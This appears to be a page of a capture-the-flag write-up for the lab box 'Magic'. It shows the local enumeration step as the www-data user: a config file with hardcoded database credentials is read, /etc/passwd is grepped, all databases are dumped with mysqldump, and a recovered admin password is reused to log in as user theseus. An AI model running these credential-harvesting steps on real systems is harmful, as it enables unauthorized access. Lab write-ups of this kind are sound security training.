3 box enum www-data

www-data@ubuntu:/var/www/Magic$ cat db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

# mysql is not installed?
# tried su didnt work

www-data@ubuntu:/tmp$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash

# mysqldump exists

www-data@ubuntu:/tmp$ mysqldump -u theseus -p --all-databases> dump.mysql

# from dump.mysql
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
# theseus:Th3s3usW4sK1ng works

SuidEnum

PEAS

Previous4 privesc theseus > rootNext2 :80

Last updated